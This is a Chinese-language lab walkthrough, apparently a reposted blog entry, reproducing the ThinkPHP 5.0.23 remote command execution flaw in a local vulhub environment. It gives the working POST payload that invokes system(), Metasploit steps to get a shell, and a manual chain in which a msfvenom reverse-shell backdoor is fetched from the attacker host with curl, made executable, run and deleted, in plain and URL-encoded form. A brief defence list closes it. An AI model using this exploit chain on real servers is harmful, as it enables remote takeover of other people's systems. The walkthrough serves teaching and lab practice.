Thinkphp5.0.23远程命令执行
导论:
thinkphp远程命令执行漏洞
php的一个开发框架,5,0.23及以前的版本中,获取method的方法中没有正确处理方法
名,导致攻击者可以调用request类任意方法,构造payload,导致远程命令执行
PHP框架【对象、类、函数、数组】
一、启动漏洞环境
192.168.31.30为kali攻击机;192.168.31.221为靶机
cd /root/vulhub/thinkphp/5.0.23-rce
docker-compose up -d
1、访问 http://你的IP:8080
2、查看README.zh-cn.md 复现教程
(1)访问http://IP:8080/index.php?s=captcha 抓包发送到重放器
(2)重放器构造payload实现命令执行
修改三处:
GET请求改为POST
指定类型 Content-Type:application/x-www-form-urlencoded
添加 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
【server[REQUEST_METHOD]表示要访问页面请求的方法】
命令执行成功:uid=33(www-data) gid=33(www-data) groups=33(www-data)
二、MSF模块直接利用
msfdb run 启动msf
1、search thinkphp 查找thinkphp相关漏洞利用模块
2、info 0 查看漏洞利用模块相关信息【查看是否适用于5.0.23】
3、use 0 使用模块
show options 查看需要设置哪些参数
设置检测靶机的ip【RHOST】和本机ip【LHOST】并run
4、run后直接获取shell
MSF实现直接获取权限原理
1、开启4444端口监听
2、检查有没有thinkphp漏洞
3、生成恶意程序
4、开放8080端口,可以让目标机从8088端口下载恶意程序
5、通过漏洞直接执行远程命令:curl -so /tmp/nqlDfdCA http://192.168.31.30:8080/XMFaGEJm9;chmod +x /tmp/nqlDfdCA;/tmp/nqlDfdCA;rm -f /tmp/nqlDfdCA
6、接收反弹she11
三、手动实现漏洞利用
1、生成后门:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.31.30 LPORT=5555 -f elf -o /var/www/html/door_5555
2、开启监听use exploit/multi/handler
3、在命令行发送请求:
curl http://192.168.31.221:8080/index.php?s=captcha -d "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl -so /tmp/door_5555 http://192.168.31.30/door_5555;chmod +x /tmp/door_5555;/tmp/door_5555;rm -f /tmp/door_5555"
将命令进行编码:
curl http://192.168.31.221:8080/index.php?s=captcha -d "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=%63%75%72%6c%20%2d%73%6f%20%2f%74%6d%70%2f%64%6f%6f%72%5f%35%35%35%35%20%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%33%31%2e%33%30%2f%64%6f%6f%72%5f%35%35%35%35%3b%63%68%6d%6f%64%20%2b%78%20%2f%74%6d%70%2f%64%6f%6f%72%5f%35%35%35%35%3b%2f%74%6d%70%2f%64%6f%6f%72%5f%35%35%35%35%3b%72%6d%20%2d%66%20%2f%74%6d%70%2f%64%6f%6f%72%5f%35%35%35%35"
4、监听成功,拿到权限:
四、防御方法
1、升级thinphps组件
2、打补丁
3、对method和_method进行过滤
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!